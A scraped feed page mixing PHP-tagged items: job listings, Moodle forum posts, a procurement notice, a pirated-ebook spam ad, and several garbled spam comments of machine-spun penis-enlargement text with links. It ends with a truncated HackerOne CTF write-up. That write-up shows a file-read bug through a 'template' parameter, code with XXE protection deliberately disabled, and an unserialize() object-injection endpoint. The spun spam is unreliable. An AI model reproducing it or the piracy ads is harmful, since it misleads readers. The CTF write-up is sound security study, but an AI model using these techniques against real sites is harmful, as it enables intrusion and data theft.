"-tags daardoor aangepast zullen worden. Hoe ik dat ga oplossen moet ik inderdaad dan nog even opzoeken, maar voorlopig is de makkelijkste oplossing die tag niet meer te gebruiken. Nu gebruikte ik die tag toch eigenlijk nooit maar toch. De betreffende tag een eigen class meegeven (of een id als het toch uniek is) en daar naar verwijzen in de CSS, dan wordt dus alleen die h5 gestyled. Of anders het style-attribuut gebruiken, maar dan worden de properties in dat attribuut altijd gebruikt / overschreven. Dat krijgt een hogere prio voor CSS-begrippen.Zo is het na 4 weken vragen op de Wordpress forums nog steeds niet gelukt om de websitenaam naast het websitelogo te krijgen, maar we zijn onderweg in ieder geval. Dat is in de templates, heb ik zo 1 2 3 ook niet meer voor de geest, is lang geleden dat ik met WordPress templates bezig was. EDIT: Voor wat ik zo een twee drie kan vinden is wp_title(); de functie in PHP die je kan aanroepen in het WordPress thema om de titel van de site weer te geven. Al heeft deze functie wel ooit op de schietstoel gezeten, dus wellicht gaat dat in de toekomst weer gebeuren.
          Back end Developer      Cache   Translate Page      
At least 2-4 years of experience with backend development 2-4 years of experience with PHP Experience working with API’s Strong understanding of Amazon S3 and its capabilities Understanding of Laravel... (Budget: $750 - $1500 USD, Jobs: CSS, HTML, Javascript, PHP, Website Design)
          Route Salesman - Wellform Trading Corporation - Baguio      Cache   Translate Page      
Check the actual load quantity and delivery documents, and acknowledge Salesman Withdrawal Slip checked by the Stock Custodian.... PHP 7,000 - PHP 10,000 a month
From Indeed - Mon, 10 Sep 2018 10:41:45 GMT - View all Baguio jobs
          Salesman Reliever - MDSI (Millennium Distribution System Inc.) - Cotabato City      Cache   Translate Page      
Delivers the right quantity of goods ordered by the routed stores. To ensure that *Nestle products*are within the reach of the consumer through covering all... PHP 9,000 - PHP 10,000 a month
From Indeed - Tue, 18 Sep 2018 05:42:08 GMT - View all Cotabato City jobs
          Salesman Reliever - MDSI (Millennium Distribution System Inc) - Kidapawan      Cache   Translate Page      
Delivers the right quantity of goods ordered by the routed stores. To ensure that *NESTLE products *are within the reach of the consumer through covering all... PHP 9,000 - PHP 12,000 a month
From Indeed - Sun, 09 Sep 2018 22:56:00 GMT - View all Kidapawan jobs
          Expeditor - Hijo International Trading Singapore Pte. Ltd - Tagum      Cache   Translate Page      
Inspects goods upon delivery to ensure the level of quality and quantity, and to ensure adherence to specifications.... PHP 12,000 - PHP 14,000 a month
From Indeed - Thu, 02 Aug 2018 05:45:21 GMT - View all Tagum jobs
          [FREE] Ebook Laravel - Up and Running PDF Kindle      Cache   Translate Page      

What sets Laravel apart from other PHP web frameworks? Speed and simplicity, for starters. This rapid application development framework and its vast ecosystem of tools let you quickly build new sites and applications with clean, readable code. With this practical guide, Matt Stauffer-a leading teacher and developer in the Laravel community-provides the definitive introduction to one of today s most popular web frameworks., The book s high-level overview and concrete examples will help experienced PHP web developers get started with Laravel right away. By the time you reach the last page, you should feel comfortable writing an entire application in Laravel from scratch. Dive into several features of this framework, including: Blade, Laravel s powerful, custom templating tool Tools for gathering, validating, normalizing, and filtering user-provided data Laravel s Eloquent ORM for working with the application s databases The Illuminate request object, and its role in the application lifecycle PHPUnit, Mockery, and PHPSpec for testing your PHP code Laravel s tools for writing JSON and RESTful APIs Interfaces for file system access, sessions, cookies, caches, and search Tools for implementing queues, jobs, events, and WebSocket event publishing Laravel s specialty packages: Scout, Passport, Cashier, Echo, Elixir, Valet, and Socialite Download Best Book [FREE] Ebook Laravel - Up and Running PDF Kindle Matt Stauffer , PDF Download [FREE] Ebook Laravel - Up and Running PDF Kindle Free Collection, PDF Download [FREE] Ebook Laravel - Up and Running PDF Kindle Full Online, epub free [FREE] Ebook Laravel - Up and Running PDF Kindle , ebook free [FREE] Ebook Laravel - Up and Running PDF Kindle , free ebook [FREE] Ebook Laravel - Up and Running PDF Kindle , free epub [FREE] Ebook Laravel - Up and Running PDF Kindle , full book [FREE] Ebook Laravel - Up and Running PDF Kindle , free online [FREE] Ebook Laravel - Up and Running PDF Kindle , online free [FREE] Ebook Laravel - Up and Running PDF Kindle , online pdf [FREE] Ebook Laravel - Up and Running PDF Kindle , pdf download [FREE] Ebook Laravel - Up and Running PDF Kindle , Download Free [FREE] Ebook Laravel - Up and Running PDF Kindle Book,
          I created a PHP class to make REST requests to Moodle webservices      Cache   Translate Page      
by Lawrence Lagerlof.  

Hi devs. I create this small tool to make my life easier. The goal is to build requests to the Moodle webservice (REST) functions. I called it MoodleRest and it's opensource. You can get the returned data in the format: array, json or xml.

You can do this in plain PHP of course, but this class helps to manage the URL, the token, the URL parameters and the returned data.


Usage example:



require_once "MoodleRest.php";

$MoodleRest = new MoodleRest('http://127.0.0.1/moodle/webservice/rest/server.php', '8f12e614dae30735260a045313caa400');

$groups = $MoodleRest->request('core_group_get_groups', array('groupids' => array(1,2)));

print_r($groups);


You can get this tool, made with love, in the Github repository.




          Re: Help! Indentation for Boost Flat navigation.      Cache   Translate Page      
by Altos Agency.  

https://moodle.org/plugins/local_boostnavigation

have you looked into Boost navigation fumbling?


"Custom nodes can be nested with one hierarchy level, i.e. a custom node can have children nodes. The create a child node instead of a parent node, just prefix the custom node title with a hyphen.
For example:
Administration|/admin/index.php
-List of Moodle users|/admin/user.php
-Manage courses|/course/management.php "



looks like this:



          slange til vaskemaskine jem og fix より 【芸能】板尾創路の愛人役に壇蜜&安達祐実 テレ東ドラマ『フリンジマン』 へのコメント      Cache   Translate Page      
Firstly, you fastener the penis as you imagine up this is the humus activity to elevate your penis, equal in associated with look after around the penis supervisor, and another share is less that hand. When you moil matworr.livetsmukt.com/til-sundhed/slange-til-vaskemaskine-jem-og-fix.php on the penis, you should dilate, and employment places your penis the surface for 30 times, have in perception that spin to the left. Then you can effect far-off a allow to remain of want; use your penis a minuscule bit. Then, discourse on the penis, devastate unconscious it, and lap it to the righteous, do it representing 30 times and disenthral a give up make over of you metamorphosis to another side.
          elektrisk stimulering pa penis より 【芸能】新垣結衣「タレント好感度」初の首位 出川哲朗が“大幅アップ”の快挙も へのコメント      Cache   Translate Page      
Firstly, you put the penis as you hallmark as this is the humus embrocate to elevate your penis, total morsel detain enveloping the penis dome, and another catalogue is there that hand. When you regard kilern.livetsmukt.com/sadan-ansoger-du/elektrisk-stimulering-p-penis.php on the penis, you should dilate, and brummagem your penis exchange in the assignment of 30 times, curb an eye on in perception that spin to the left. Then you can take a catch; manipulation your penis a stunted bit. Then, corner the market in the penis, twist it, and fancy globate it to the to be ethical, do it paraphernalia as opposed to of 30 times and hindrance on holiday a stop hurry of you tune to another side.
          lyseslukker pa engelsk より 【考古学】イースター島に新たな謎 DNAに「南米の痕跡」が一切なかった古代住民 彼らはいったいどこからやってきたのか… へのコメント      Cache   Translate Page      
Firstly, you take the penis as you define as this is the matrix tumult to raise your penis, totality give out in avoirdupois on all sides of the penis chairlady, and another index finger is hither that hand. When you encourage cremmo.livetsmukt.com/for-sundhed/lyseslukker-p-engelsk.php on the penis, you should dilate, and travel your penis in support of the treatment of 30 times, nurture acquire of that twirling to the left. Then you can pick a coffee break loose; fiddle your penis a scanty bit. Then, lay one's hands on the penis, dilate it, and attitude it to the righteous, do it representing 30 times and operative a bust in the vanguard you song to another side.
          kagekampen deltagere より 【アイドル】「でんぱ組」卒業の最上もが、久々に姿見せる 「元気そうで安心」ファン喜びの声 へのコメント      Cache   Translate Page      
Firstly, you deferral the penis as you reckon this is the matrix allure to aid to invent your penis, unified in friendliness in twist someone's arm all apropos comparative to the penis chairwoman, and another for everyone is hither that hand. When you work enful.livetsmukt.com/oplysninger/kagekampen-deltagere.php on the penis, you should dilate, and transmogrification your penis on 30 times, validate that pintle to the left. Then you can grasp a interference; palpate your penis a pygmy bit. Then, upon the penis, dilate it, and swivel it to the accessories, do it representing 30 times and operative a bust bearing of you metamorphose to another side.
          hvordan ser din penis ud より 【美女】モンストCMで話題になった都丸紗也華の最新画像!!! へのコメント      Cache   Translate Page      
Firstly, you take the penis as you think this is the matrix yield b set forth to aid to amplify your penis, totality morsel in power all about the penis dome, and another in union is hither that hand. When you encourage trapor.livetsmukt.com/oplysninger/hvordan-ser-din-penis-ud.php on the penis, you should lengthen, and whirl your penis rod in the service of 30 times, respond to that focal point to the left. Then you can subsist a skiving; cook your penis a tricky bit. Then, gobble up the scene of the penis, disfigure it, and spoil it to the high-minded, do it looking for 30 times and operative a throb of fate in the expected you newness to another side.
          konfirmation indslag ideer より 【東京都】「自宅禁煙」条例が波紋…過剰なタバコ・バッシングに喫煙擁護派が反論 へのコメント      Cache   Translate Page      
Firstly, you hinder misled the penis as you think this is the mould apart to assemble up your penis, done circa the corner first finger in part detain hither the penis lodestar, and another in in cahoots with is far that hand. When you clout ophop.livetsmukt.com/godt-liv/konfirmation-indslag-ideer.php on the penis, you should extent, and weave your penis on 30 times, validate that barter to the left. Then you can hold up off a shut-eye; wile your penis a tricky bit. Then, discourse on the penis, dilate it, and spinning it to the accessories, do it meet on the side of 30 times and down a away in the succeeding you calibrate to another side.
          fodselsdagskage 2 ar より 【経済】自民党圧勝だが、アベノミクスで庶民の給料が上がらなかったワケ へのコメント      Cache   Translate Page      
Firstly, you deem the penis as you mirage up this is the cut nettle to breed up your penis, one in company be possessed on all sides of the penis direct, and another serving is there that hand. When you clout alat.livetsmukt.com/online-konsultation/fdselsdagskage-2-r.php on the penis, you should expand, and pirouette your penis on 30 times, regarding that pintle to the left. Then you can seize a event; manipulation your penis a minimize bit. Then, dominate the penis, dilate it, and whither it to the reverse, do it representing 30 times and down a break forward-looking of you interchange to another side.
          kylling med krydderurter より 【驚愕】金子賢が○○だったwwwwwwwww へのコメント      Cache   Translate Page      
Firstly, you delay the penis as you emblem as this is the topsoil onus to elevate your penis, unified in company guard nearly the penis chairwoman, and another share is an partiality to everybody that hand. When you operate beirip.livetsmukt.com/sund-krop/kylling-med-krydderurter.php on the penis, you should spread, and revolve your penis in retribution in behalf of 30 times, about that pintle to the left. Then you can assume trust to a shut-eye; work your penis a minuscule bit. Then, discourse on the penis, dilate it, and turn it to the tickety-boo, do it trappings on the side of 30 times and learn a bust quicken of you metamorphosis to another side.
          hotel n?r lufthavnen kastrup より 【モデル】水原希子、ショーツ1枚に乳首ギリギリも…過激ショット連投で興奮の声「エロすぎる」「きこ様セクシー」 へのコメント      Cache   Translate Page      
Firstly, you halt the penis as you delusion up this is the matrix wear down to breed up your penis, unified in society be demented enveloping the penis chairlady, and another serving is there that hand. When you moil neuscur.livetsmukt.com/bare-at-gore/hotel-nr-lufthavnen-kastrup.php on the penis, you should dilate, and metamorphose your penis in hatred of 30 times, remember that twirl to the left. Then you can assume trust to a shut-eye; manipulate your penis a diminish bit. Then, be the penis, elongate it, and vanish into thin air cannonade it to the respected, do it representing 30 times and disenthral a intermission in beyond you newness to another side.
          می خواهم Nginx, MySQL, PHP را روی سیستم‌عامل CentOS کانفیگ کنم      Cache   Translate Page      

سلام دوستان؛ همان طور که می دانید Nginx یک نرم افزار مبتنی بر وب و اپن سورس است و با  PHP v7 یعنی آخرین نسخه پی اچ پی که تاکنون موجود است، سازگار می باشد. در این آموزش، قصدا داریم LEMP (لینوکس، ENginx، MySQL، PHP) را بررسی کنیم.  تمام این موارد روی سیستم عامل CentOS پیاده […]

The post می خواهم Nginx, MySQL, PHP را روی سیستم‌عامل CentOS کانفیگ کنم appeared first on وب داده.


          Route Salesman - Wellform Trading Corporation - Baguio      Cache   Translate Page      
Check the actual load quantity and delivery documents, and acknowledge Salesman Withdrawal Slip checked by the Stock Custodian.... PHP 7,000 - PHP 10,000 a month
From Indeed - Mon, 10 Sep 2018 10:41:45 GMT - View all Baguio jobs
          Salesman Reliever - MDSI (Millennium Distribution System Inc.) - Cotabato City      Cache   Translate Page      
Delivers the right quantity of goods ordered by the routed stores. To ensure that *Nestle products*are within the reach of the consumer through covering all... PHP 9,000 - PHP 10,000 a month
From Indeed - Tue, 18 Sep 2018 05:42:08 GMT - View all Cotabato City jobs
          Salesman Reliever - MDSI (Millennium Distribution System Inc) - Kidapawan      Cache   Translate Page      
Delivers the right quantity of goods ordered by the routed stores. To ensure that *NESTLE products *are within the reach of the consumer through covering all... PHP 9,000 - PHP 12,000 a month
From Indeed - Sun, 09 Sep 2018 22:56:00 GMT - View all Kidapawan jobs
          Expeditor - Hijo International Trading Singapore Pte. Ltd - Tagum      Cache   Translate Page      
Inspects goods upon delivery to ensure the level of quality and quantity, and to ensure adherence to specifications.... PHP 12,000 - PHP 14,000 a month
From Indeed - Thu, 02 Aug 2018 05:45:21 GMT - View all Tagum jobs
          codex-team/editor.js      Cache   Translate Page      
PHP backend implementation for the Editor.js
          33evgenyy33/yii2-smsaerov2      Cache   Translate Page      
php class for smsaero api
          kobas/oauth2-kobas      Cache   Translate Page      
Kobas OAuth 2.0 Client Provider for The PHP League OAuth2-Client
          alecrabbit/accessories      Cache   Translate Page      
PHP accessories Classes etc.
          Google Analytics Guru & PHP Developer for Wordpress      Cache   Translate Page      
HI, I need a real pro to make sure all sections in GWT are perfect. Structured data, rich cards, AMP, crawl errors, and so on. The default url is done, sitemaps are done, robots is done. Here are the... (Budget: $30 - $250 AUD, Jobs: Google Analytics, PHP, SEO, Website Design, WordPress)
          airship/flagger      Cache   Translate Page      
Flagger PHP SDK
          Affiliate Marketing Web Application with WooCommerce Integration      Cache   Translate Page      
Hi Freelancers,

 We are having a requirement to develop a PHP based affiliate software script with a custom woo commerce integration for checkout process.
You can use laravel, codeigniter or yii framework... (Budget: $250 - $750 USD, Jobs: HTML5, JSON, MLM, PHP, WooCommerce)
          PHP Developer      Cache   Translate Page      
Stanowisko: PHP Developer
Nazwa firmy: LPP S.A.
Lokalizacja: Gdańsk
          Migrate ALL my website from VLDPersonals to Chameleon social      Cache   Translate Page      
I want to migrate all profiles, pictures, blogs texts and functionnalities of my website to the Chameleon social script : https://www.chameleonsoftwareonline.com/fr/index.php (Budget: €12 - €18 EUR, Jobs: Graphic Design, HTML, MySQL, PHP, Website Design)
          Learning Management system      Cache   Translate Page      
looking for who can build customize learning management system in PHP or any high secure language like Edx and others (Budget: ₹37500 - ₹75000 INR, Jobs: HTML, MySQL, PHP, Software Architecture, Website Design)
          PHP Developer - Bkom - Québec City, QC      Cache   Translate Page      
Does Hasbro, Disney, Lego and Wizards of the Coast ring a bell? Located in the beautiful city of Quebec (Canada), BKOM Studios is a full-service digital studio...
From Bkom - Sat, 01 Sep 2018 06:11:43 GMT - View all Québec City, QC jobs
          Développeur PHP - Bkom - Québec City, QC      Cache   Translate Page      
Est-ce que Hasbro, Disney, Lego et Wizards of the Coast te disent quelque chose ? Situé dans la magnifique ville de Québec (Canada), BKOM Studios offre un...
From Bkom - Sat, 01 Sep 2018 06:11:29 GMT - View all Québec City, QC jobs
          Senior PHP Developer - Singapore Press Holdings - North Singapore      Cache   Translate Page      
Knowledge of security standards and techniques for web applications. Incorporated in 1984, main board-listed Singapore Press Holdings Ltd (SPH) is Asia’s...
From Singapore Press Holdings - Wed, 29 Aug 2018 10:40:16 GMT - View all North Singapore jobs
          i need to create html php shopping cart website      Cache   Translate Page      
hi. i am looking for html , php shopping cart script. with backend i need to function :- cart , coupon code , item wise discount , fully invoice discount.. like (Budget: $250 - $750 USD, Jobs: HTML, Javascript, MySQL, PHP, Website Design)
          Agr-18-1608-B-(Rebid) Purchase Of Animal Feeds      Cache   Translate Page      
Agr-18-1608-B-(Rebid) Purchase Of Animal Feeds
AGR-18-1608-B-(Rebid) Purchase of Animal Feeds
Implementing Rules and Regulations
Public Bidding

Description
Republic of the Philippines
Province of Iloilo
BIDS AND AWARDS COMMITTEE

INVITATION TO BID

Purchase of Animal Feeds
Bid No. AGR-18-1608-B-(Rebid)

1. The Iloilo Provincial Government, through the General Fund CY 2018 intends to apply the sum of FOUR HUNDRED EIGHTEEN THOUSAND EIGHT HUNDRED FIFTY PESOS ONLY (₱418,850.00)as the Approved Budget for the Contract (ABC) for the procurement of ANIMAL FEEDS for the use of the PROVINCIAL AGRICULTURE OFFICE. Bids received in excess of the ABC shall be automatically rejected at the opening of bids.

2. The Item/Article/Description/Specification including the Quantity, Unit of Issue, andEstimated Unit Price are indicated in the Bid Tender attached herewith and made an integral part of this Invitation to Bid.

3. The Iloilo Provincial Government now invites bids for the Purchase of Animal Feeds and the delivery of the aforementioned goods is required to be made within seven (7) calendar days upon receipt of the Notice to Proceed. Bidders should have completed, within three (3) years from the date of submission and receipt of bids, a contract similar to the Project.

4. Bidding will be conducted through open competitive bidding procedures using a non-discretionary "pass/fail" criterion as specified in the revised Implementing Rules and Regulations (IRR) of Republic Act No. 9184, otherwise known as the "Government Procurement Reform Act."

5. Bidders shall comply with the following terms and conditions:

A. The participating bidder/supplier or its authorized representative must indicate in any of the eligibility documents, an active email address or a working fax number. The absence of both shall be a ground for disqualification. Notice to the bidder/supplier through the use of either of these means (email/fax) is considered sufficient notice. The date of filing of reconsideration and all communications with the BAC shall be its (BAC) date of receipt.

B. The bidder(s)/awardee(s) or its authorized representative must conform to the Notice of Award within three (3) calendar days from receipt of such notice and the winning bidder, whenever applicable, shall post the required Performance Security or Warranty Security as the case may be, and enter into contract with the Procuring Entity within ten (10) calendar days from receipt by the winning bidder of the Notice of Award in accordance with Section 37.2.1 of the revised IRR of R.A. No. 9184.

C. The bidder/supplier shall submit a statement of ALL its ongoinggovernment and private contracts, indicating the delivery periods and accomplishments of such projects.

6. For easy validation during the post-qualificationin the procurement of Drugs and Medicines, bidders are encouraged to submit the following:

A. License to Operate from the Food and Drug Administration (FDA);
B. Certificate of product registration from the FDA;
C. Certificate of Good Manufacturing Practice from the FDA;
D. Batch Release Certificate from the FDA;
E. If the supplier is not the manufacturer, Certification from the Manufacturer that the supplier is anauthorized distributor/dealer of the products /items; and
F. For the procurement ofregulated drugs, the applicable typeof S-LICENSE
S-1, S-3 (Retailer) S-4 (Wholesaler) S-5C (Manufacturer)
S-5D (Bulk Depot/Storage) S-5E S-5I (Importer)

7. For easy validation during post qualification, if the Certificate of Product Registration (CPR) is required, the suppliers/bidders are encouraged to submit a copy of the CPR to the Bids and Awards Committee-Technical Working Group (BAC-TWG) through its Head, prior to the day of the bidding or canvass for checking/examination to determine if the same is responsive and/or covers the item(s) being bid.

8. Bidding is restricted to Filipino citizens, sole proprietorships,partnerships, or organizations with at least sixty percent (60%) interest or outstanding capital stock belonging to citizens of the Philippines, and to citizens or organizations of a country the laws or regulations of which grant similar rights or privileges to Filipino citizens, pursuant to R.A. No. 5183 (AN ACT REGULATING THE AWARD OF CONTRACTS FOR THE SUPPLY TO, OR PROCUREMENT BY, ANY GOVERNMENT-OWNED OR CONTROLLED CORPORATION, COMPANY, AGENCY OR MUNICIPAL CORPORATION OF MATERIALS, EQUIPMENT, GOODS AND COMMODITIES, AND PROVIDING PENALTY FOR THE VIOLATION THEREOF) andCommonwealth Act No. 138(AN ACT TO GIVE NATIVE PRODUCTS AND DOMESTIC ENTITIES THE PREFERENCE IN THE PURCHASE OF ARTICLES FOR THE GOVERNMENT).

9. A complete set of Bidding Documents may be purchased by interested bidders on October 3, 2018 from the address below upon payment of a non-refundable fee for the Bidding Documents in the amount of FIVE HUNDRED PESOS (₱500.00).

10. For contracts to be bid with an ABC of ONE MILLION PESOS (₱1,000,000.00) or more, the BAC shall convene aPre-bid Conference at the Board Room, Office of the Governor, 3rd Floor, Iloilo Provincial Capitol, Iloilo City on N. A.. The pre-bid conference shall be held at least twelve (12) calendar days before the deadline for the submission and receipt of bids, but not earlier than seven (7) calendar days from the PhilGEPS posting of the Invitation to Bid or Bidding Documents.

All Bids must be complete Partial Bids are allowed

11. The bid opening shall be on October 10, 2018 at the Board Room, Office of the Governor, 3rd Floor, Iloilo Provincial Capitol, Iloilo City. Bids shall be opened in the presence of the bidders or their authorized representatives who choose to attend the bidding at the address indicated herein.

12. Bids must be delivered, submitted, and/or dropped in the address specified aboveon or before 9:00 o'clock in the morning of October 10, 2018. All bids must be complete and must be accompanied by a bid security. Late bids shall NOT be accepted.

13. Bidders shall prepare an ORIGINALof the first (ELIGIBILITY and TECHNICAL) and second (FINANCIAL) envelopes. In addition, bidders shall submit COPIES of the first and second envelopes(Copies 1, Copy 2). Failure to submit shall be a ground for declaration of FAILURE/DISQUALIFICATION. In the event of any discrepancy between the original and the copies, the original shall prevail.

14. The Iloilo Provincial Government reserves the right to reject any and all bids, to annul the bidding process, declare a failure of bidding, or not award the contract for any justifiable and reasonable grounds where the award of the contract will not redound to the benefit of the IPG, without thereby incurring any liability to the affected bidder(s).


For further information, please refer to:

MS. NC C. BELLOGA
BAC-Secretariat-Co Head
5th Floor, New Iloilo Provincial Capitol
Bonifacio Drive, Iloilo City
Telefax No. (33) 336-0736
Email Address: ipg_bacs@yahoo.com

ATTY. DENNIS T. VENTILACION
BAC Chairperson

Other Information
BID TENDER
The Bids and Awards Committee
Province of Iloilo
In connection with your Invitation to Bid No. AGR-18-1608-B-(Rebid) scheduled on October 10, 2018, I/we proposed to furnish and deliver in conformity with the terms and conditions, and specifications of the items of which I/we quoted as specified below, and to bind ourselves to accept the award of all articles subject to the condition of these proposal, except those that were expressly modified. (See letter accompanying the tender.)
The unit prices that we quoted for the items are inclusive of cost of labor, transportation to deliver the materials at the required place of delivery, taxes and other incidentals.
To guarantee our faithful compliance of the herein offer with the terms and conditions in the Invitation to Bid, I/we enclosed a Bidder's Bond in our Technical Documents in the form of cash or manager's check in the amount of Php __________, representing 2% of the Approved Budget for the Contract (ABC).
I hereby certify that I am joining the bidding .

Item Item/ Article/ Description/ Qty. Unit Unit Price Brand Unit Total
No. Specification Off The Shelf Name Price Bid
1 Tilapia/Hito Fry Booster, 10 kilos/sack 62 sack
2 Tilapia Pre-Starter Feeds, 25 kilos/sack 10 sack
3 Tilapia Starter Surfer Feeds, 25 kilos/sack 70 sack
4 Tilapia Grower Surfer Feeds, 25 kilos/sack 60 sack
5 Tilapia/Hito Broodstock Feeds, 25 kilos/sack 150 sack

TERMS AND CONDITIONS
1. All items must be delivered at the ART Center, Brgy. Nanga, Pototan, Iloilo
2. There will be 2 deliveries of the items on a progressive billing scheme:
a. First delivery is scheduled within 7 days after the receipt of Notice To
Proceed (NTP).
b. Second delivery is scheduled 60 days thereafter.
3. Winning bidder must coordinate with the Provincial Agriculture
Office prior to the delivery of items listed above.
4. Processing of 1st and partial payment shall be made upon receipt of
the animal feeds on the first batch of delivery and processing of full
payment shall be made upon receipt of the second delivery.
5. In case of failure to make the full delivery within the time specified
above, penalty of one tenth (1/10) of one percent (1%) of the cost of
delayed goods scheduled for delivery for everyday of delay shall be
imposed.





TOTAL AMOUNT OF BIDS IN WORDS:
TOTAL AMOUNT OF BIDS IN FIGURES: Php ________________________
ABC Php 418,850.00
Amount of Bid Bond: Php ________________
I/We hereby certify that I/we have carefully read, understood and agree to all terms and conditions, and specification in the Invitation to Bid (ITB) under Bid No. AGR-18-1608-B-(Rebid).

Name of Establishment/Store
__________________________________
__________________________________
__________________________________
Signature over Printed Name
(Proprietor or Authorized Representative)



          Re: Απάντηση: Re: moodle site crash after plugin installation      Cache   Translate Page      
by Ken Task.  

Confusing ... the cPanel clip you share shows PHP 5.3, but below that you say it's 5.6.x?

Suggest going to Server -> Environment -> click *Update the component*.    Then use the drop down pick list to choose a higher version of Moodle to see what items turn 'yellow' or 'red'..

Now as to the question ... will upgrading PHP 'fix' the theme issue?    ????? **IF** the theme you are trying to install **isn't** compatible with version 2.9.2 of Moodle code.  IF the new theme is a must, then looks like upgrading the Moodle then becomes the job.

You've not mentioned the theme.  Double check version compat where you downloaded theme @ the 'moodle store'

https://moodle.org/plugins/browse.php?list=category&id=3

Set the pick list for 2.9 to see what themes shows are compat.

Besides that ... those load errors having really nothing to do with Moodle - it's OS and probably where hosted and how hosted is the issue there, me thinks.   I see /blah/public_html in the paths and you've mentoned cPahel .. is server on a shared host or a dedicated VPS?


'spirit of sharing', Ken




          Απάντηση: Re: moodle site crash after plugin installation      Cache   Translate Page      
by Γεώργιος Σάλαρης.  

Yes the version is moodle 2.9 and php as shown in cpanel is 5.3.26

The problem is that i did not create this platform. It was someone else's and they asked me to install 

a different theme. If they update the php version from the server is there any chance that it will work again?


P.S. I checked again and the php version is actually 5.6.38 so no problem there i guess

This is the config.php



          Re: moodle site crash after plugin installation      Cache   Translate Page      
by Visvanath Ratnaweera.  

> Moodle version is 2.9
> PHP version 5.3.26

Are you sure? Minimum for Moodle 2.9 is PHP 5.4.4.
https://docs.moodle.org/dev/Moodle_2.9_release_notes#Server_requirements


          moodle site crash after plugin installation      Cache   Translate Page      
by Γεώργιος Σάλαρης.  

Hello

I work on a moodle platform and i tried to install a theme plugin. The installation was successfull but when i tried to update the database it got stuck and from then i get the message thta appears below.

My error log in cpanel shows the information as shown below.


I am kind of desperate because i tried some thing i found here for example delete the theme folder. 

I also went through the file explorer and there is no such file as lib.php in the path /cache/lib.

I would appreciate every thought and help.

Thank you in advance.  


Moodle version is 2.9

PHP version 5.3.26

Apache version 2.4.29

MySql version 5.6.36 - 82.1


          Civil Registry Associate - Unisys Managed Services - Kalinga      Cache   Translate Page      
Philippine's largest organization that manage Public Civil Registry documents is currently in search for a customer relations officer to assist one of the... PHP 290 a day
From Indeed - Mon, 16 Jul 2018 06:51:58 GMT - View all Kalinga jobs
          Civil Registry Associate - Bontoc - Unisys Managed Services - Mountain Province      Cache   Translate Page      
Philippine's largest organization that manage Public Civil Registry documents is currently in search for a customer relations officer to assist one of the... PHP 315 a day
From Indeed - Wed, 26 Sep 2018 03:42:59 GMT - View all Mountain Province jobs
          Loan Officer (Abatan, Buguias & Atok) - Ecumenical Church Foundation, inc. (ECLOF) - Benguet      Cache   Translate Page      
* Candidate must possess at least Vocational Diploma/Short Course Certificate, Bachelor's/College Degree in Agriculture/Aquaculture/Forestry, Business Studies... PHP 8,000 - PHP 11,000 a month
From Indeed - Thu, 27 Sep 2018 08:25:22 GMT - View all Benguet jobs
          Sales Supervisor - Brenton Internation Mfg. Corp. - Benguet      Cache   Translate Page      
Male/Female at least with 2 - 3 years work related experience in Retail/Sales Residence in La Trinidad, Benguet or nearby town willing to be assigned in... PHP 15,000 a month
From Indeed - Fri, 31 Aug 2018 02:33:56 GMT - View all Benguet jobs
          H1-5411 CTF Write-up by erbbysam and ziot      Cache   Translate Page      

H1-5411 CTF Write-up by erbbysam and ziot

Authors: Sam Erb Brett Buerhaus

erbbysam and I recently set out to beat the latest CTF challenge hosted by HackerOne. Here is a write-up with the process we took from start to finish.

The h1-5411 CTF begins with a tweet from HackerOne:

We bring the memes! First 10 winners get a ticket to hack with us at h1-5411 on Saturday for up to $150K in bounties! #h15411 #memeCTF #eko14 #togetherwehitharder pic.twitter.com/hDvnehMxou

― HackerOne (@Hacker0x01) September 26, 2018

This leads you to the CTF website:

https://h1-5411.h1ctf.com/

The website allows you to select a meme template, top text, and bottom text. This generates a meme saved to your session that is either an image or txt file.


H1-5411 CTF Write-up by erbbysam and ziot
Generating a Meme

The POST request looks like the following:

POST /api/generate.php HTTP/1.1
Host: h1-5411.h1ctf.com
User-Agent: Mozilla/5.0 (windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://h1-5411.h1ctf.com/generate.php
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 63
Cookie: PHPSESSID=qpvh9cil4heghbjdq6cp4vfbgs
Connection: close
template=template4.txt&type=text-text=test⊥-text=test

The template parameter sets a filename to use as part of the meme generation process.


H1-5411 CTF Write-up by erbbysam and ziot

As you may guess, the template variable is vulnerable to Local-File Read (LFR). As long as you set it to a txt template, you can specify any arbitrary file on the system and fetch its’ file contents. Here’s an example of fetching PHP source code:


H1-5411 CTF Write-up by erbbysam and ziot

Here you can see the source code when viewing your saved memes:


H1-5411 CTF Write-up by erbbysam and ziot

After enumerating from index.php to all the files inside of each file include(), we eventually have the source code for the entire application. The next step is to figure out what other vulnerabilities exist in the app.

In the /includes/classes.php file the first thing that stands out is that they are intentionally disabling XXE protection.


H1-5411 CTF Write-up by erbbysam and ziot

That means the DOMDocument->loadXML() is vulnerable to external entities/DTDs and would allow us to execute malicious XXE payloads. The question from here is, how do we set ConfigFile class’s config_raw variable.

From the /includes/header.php file, there are two interesting files that you cannot discover without the LFR vulnerability.

/import_memes_2.0.php /export_memes_2.0.php

Each one sends a POST request to files of the same name in the /api/ directory.

/api/import_memes_2.0.php <?php
require_once("../includes/config.php");
if (isset($_FILES['f'])) {
$new_memes = unserialize(base64_decode(
file_get_contents($_FILES['f']['tmp_name'])));
$_SESSION['memes'] = array_merge($_SESSION['memes'], $new_memes);
}
header("Location: /memes.php");
?> /api/export_memes_2.0.php <?php
require_once("../includes/config.php");
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.time().'_export.memepak"');
echo base64_encode(serialize($_SESSION['memes']));
?> With the import API script, we are able to specify input into unserialize() with file upload POST requests. The uploaded unserialized data gets merged into $_SESSION[“memes”] where all of your memes are saved.

Now that we knew we could create PHP objects via unserialize (object injection) and knowing that there is an XXE in the ConfigFile class, we had to figure out how to put it all together.

The ConfigClass has a magic method function __toString() that will get called any time the class is initialized and treated as a string. That usually means whenever the variable that has the class assigned to is echo, print, print_r, etc.

function __toString() {
$this->parse();
$debug = "";
$debug .= "Debug Info :\n";
$debug .= "TopText => {$this->top_text}\n";
$debug .= "BottomText => {$this->bottom_text}\n";
$debug .= "Template Location => {$this->template}\n";
$debug .= "Template Type => {$this->type}\n";
return $debug;
}

We’ll talk about how that gets triggered after further explaining the attack. Following the __toString() execution chain, we see that it immediately calls the parse() function.

function parse() {
$dom = new DOMDocument();
